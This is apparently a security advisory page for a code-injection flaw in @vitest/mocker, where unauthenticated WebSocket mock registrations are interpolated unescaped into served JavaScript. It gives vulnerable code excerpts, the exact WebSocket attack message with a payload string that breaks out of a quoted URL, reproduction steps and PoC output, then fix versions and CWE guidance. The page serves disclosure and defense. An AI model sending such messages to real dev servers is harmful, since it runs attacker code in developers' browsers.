Skip to content

GHSA-qxg6-89mg-rqv8 CVE-2026-112949

Vitest: Code injection via unauthenticated manual mock registration

Medium npm
Severity
4.7 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.04% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
CWE-116 Improper Encoding or Escaping of Output
CWE-306 Missing Authentication for Critical Function
Fix
4.1.12
Upgrade @vitest/mocker to this version or later

Description

Summary

@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.

Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.

Details

packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:

export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
  const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`

moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.

packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:

configureServer(server) {
  if (options.registerWebSocketEvents === false) { return }
  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
    if (event.type === 'manual') {
      const module = ManualMockedModule.fromJSON(event, async () => {
        const keys = await getFactoryExports(event.url)
        return Object.fromEntries(keys.map(key => [key, null]))
      })
      registry.add(module)                       // no validation of `id` or `url`
    }
    else {
      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }

event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.

With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:

const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.

Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

PoC

poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh

Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):

import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()

The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:

{ "type": "custom", "event": "vitest:interceptor:register",
  "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
            "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }

then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.

Observed output:

PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400
PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400
PASS  negative control: with no mock registered the real module is served
PASS  negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
    const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

    let __0 = __factoryModule__["a"]
    export { __0 as "a" }
    if (__factoryModule__.__factoryPromise != null) {
      __factoryModule__.__factoryPromise.then((resolvedModule) => {
        __0 = resolvedModule["a"];
      })
    }
PASS  attacker statement is present in the module the dev server serves
PASS  the real module body was replaced
PASS  the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE
  • Positive control — with no mock registered, /src/app.js is served with its real body, so the harness demonstrably works.
  • Negative control — the same registration with a harmless url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.
  • Precondition controls — the two Origin probes record the boundary honestly.
  • Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.

Reproduced three times from a clean mktemp fixture, exit 0 each time.

Impact

Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.

Affected versions

npm

PackageVulnerableFixed in
@vitest/mocker
>= 2.1.0-beta.7, < 4.1.12
4.1.12
@vitest/mocker
>= 5.0.0-beta.1, < 5.0.3
5.0.3
@vitest/mocker
>= 2.1.0-beta.7, < 4.1.12
4.1.12
@vitest/mocker
>= 5.0.0-beta.1, < 5.0.3
5.0.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@vitest/mocker npm → 4.1.12

npm
npm install @vitest/mocker@4.1.12
yarn
yarn add @vitest/mocker@4.1.12
pnpm
pnpm add @vitest/mocker@4.1.12

Severity breakdown

CVSS 3.1 4.7

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CWE-116: Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
  • Architecture and Design, Implementation: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • Architecture and Design: In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
  • Architecture and Design: Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
  • Requirements: Fully specify which encodings are required by components that will be communicating with each other.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp26-3454-mjgp
Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix
Medium Also affects @vitest/mocker
GHSA-82fw-gwwq-j7x9
Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock
Medium Also affects @vitest/mocker
GHSA-26p8-2jq9-3vq9
MLflow vulnerable to remote code execution on unauthenticated servers via third-party scorer deserialization importing caller-placed artifact modules
Critical Same weakness, CWE-94
GHSA-h3rc-6mm3-gc2m
vLLM: Request-controlled mm_processor_kwargs.code_revision allows remote code execution
Critical Same weakness, CWE-94
CVE-2026-0322
A remote code execution (RCE) vulnerability in the management interface of Palo Alto Networks PAN-OS® software enables an authenticated attacker with network…
High Known exploited Same weakness, CWE-94
GHSA-p393-cf76-4jmr
Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite
High Same weakness, CWE-94
GHSA-8r5x-fm3f-whwj
Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)
Critical Same weakness, CWE-94
GHSA-97rh-rhh2-7vjv
Payload: Remote Code Execution through first-register
High Same weakness, CWE-94

Credits: sondt99

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor